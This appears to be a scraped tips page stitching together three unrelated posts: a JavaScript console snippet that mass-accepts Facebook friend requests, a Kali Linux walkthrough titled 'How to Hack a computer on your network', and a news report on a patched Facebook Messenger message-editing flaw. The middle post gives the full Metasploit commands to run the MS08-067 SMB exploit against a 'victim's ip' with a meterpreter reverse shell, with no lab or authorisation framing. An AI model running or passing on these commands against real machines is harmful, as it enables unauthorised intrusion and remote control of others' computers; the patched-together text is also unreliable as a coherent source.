How to Accept all Facebook Friend Requests at Once

Facebook Tricks

If you have many pending friend requests on Facebook you can click them all manually by spending a lot of time to confirm them all or you can confirm friends requests all at once with our tips and tricks ...

You just need to follow simple steps and execute a small script and all your friend requests will be accepted automatically + any page request or other requests can also be accepted easily.
So now lets see how exactly this thing works.

1. Open Facebook.com and Sign-In.

2. Now visit https://www.facebook.com/reqs.php and here you will see all the requests for pages and right on top you will see all the friend requests.

3. Now you will see "See More" option click that to show all friend requests.

4. Now just press Ctrl + Shift + J to open Console menu in chrome and then simply paste the below script and press enter.

// Copy this code
javascript:for( i = 1;i<
document.getElementsByName("actions[accept]").length;i++)
{
document.getElementsByName("actions[accept]")[i].click();
}
void(0);

That's it now within seconds all the friend requests will be accepted.

This even works for all the page request simply visit the above link and paste the script as mentioned above, it will accept all the page requests.

So guys now you can easily accept friend requests from people who might wanna join your company, well this script is working fine as tested by me, so please just give it a try and do comment if you face any problem.

Thanks and stay blessed!

How to Hack a computer on your network with kali linux

Hey.

So you want to hack a computer and you've got Kali linux installed? Then you are on the right place!
I am going to show you how to hack a computer.

Step 1: Start Kali Linux
Start Kali Linux and start a new terminal.

Step 2: Start the Metasploit console
Start the Metasploit console by typing: msfconsole. This will take a few moments...

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Step 3: The commands:
So Metasploit started. Here are the commands you need to type in:
use windows/smb/ms08_067_netapi

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST *Your ip adress* (If you don't know your ip adress then open a new terminal and type ifconfig. your ip adress will be somewhere in the output :D)

set LPORT 4444

set RHOST *victim's ip*

set RPORT 445

exploit

(You should connect)


Type help for a list of commands.

Step 4: That's it! You are done.

Thanks and stay blessed!

How to Delete or Modify a Facebook Message Once It Has Been Sent

Sometimes I receive emails from our readers who wanted to know how to hack Facebook account, but just to delete some of their messages they have sent to their friends or colleagues mistakenly or under wrong circumstances like aggression.

It is probably the biggest "n00b" question you will see on the Internet.

The solution for this query is hard to find — but recently researchers have shown that how you can modify or alter your messages once you have pressed the SEND button in Facebook Messenger.

According to the researcher Roman Zaikin from cyber security firm Check Point, a simple HTML tweak can be used to exploit Facebook online chat as well as its Messenger app, potentially allowing anyone to modify or delete any of his/her sent message, photo, file, and link.

Though the bug is simple, it could be exploited by malicious users to send a legitimate link in a Facebook chat or group chat, and later change it to a malicious link that could lead to a malware installation, tricking victims into infecting their systems.

Here’s How the Exploit Works:

The exploit works on the way Facebook assigns identities to chat messages. Each chat message has a unique "message_id" identifier that could be revealed by sending a request to www.facebook.com/ajax/mercury/thread_info.php.

Once message_id is identified, an attacker could alter its respective message content and send it back to Facebook servers which accept the new content as legitimate and push it back to the victim’s PC or mobile device.

Video Demonstration:

Watch : Facebook Vulnerability

"By exploiting this vulnerability, cyber criminals could change a whole chat thread without the victim realizing," said Oded Vanunu, Head of Products Vulnerability Research at Check Point. 

"What’s worse. The hacker could implement automation techniques to continually outsmart security measures for long-term chat alterations. We applaud Facebook for such a rapid response and putting security first for their users."

Researchers discovered the vulnerability earlier this month and notified Facebook about the flaw.

The social networking giant promptly moved to fix the vulnerability, though Facebook explained that the flaw only affected its Messenger app on Android.

"Based on our investigation, this simple misconfiguration in the Messenger app on Android turned out to be a low-risk issue, and it's already been fixed," Facebook wrote in its blog post published Tuesday.

Additionally, Facebook claims the vulnerability could not be exploited to infect its users' PCs with malicious software, as the company is using anti-spam and anti-virus filters to detect malware and spams.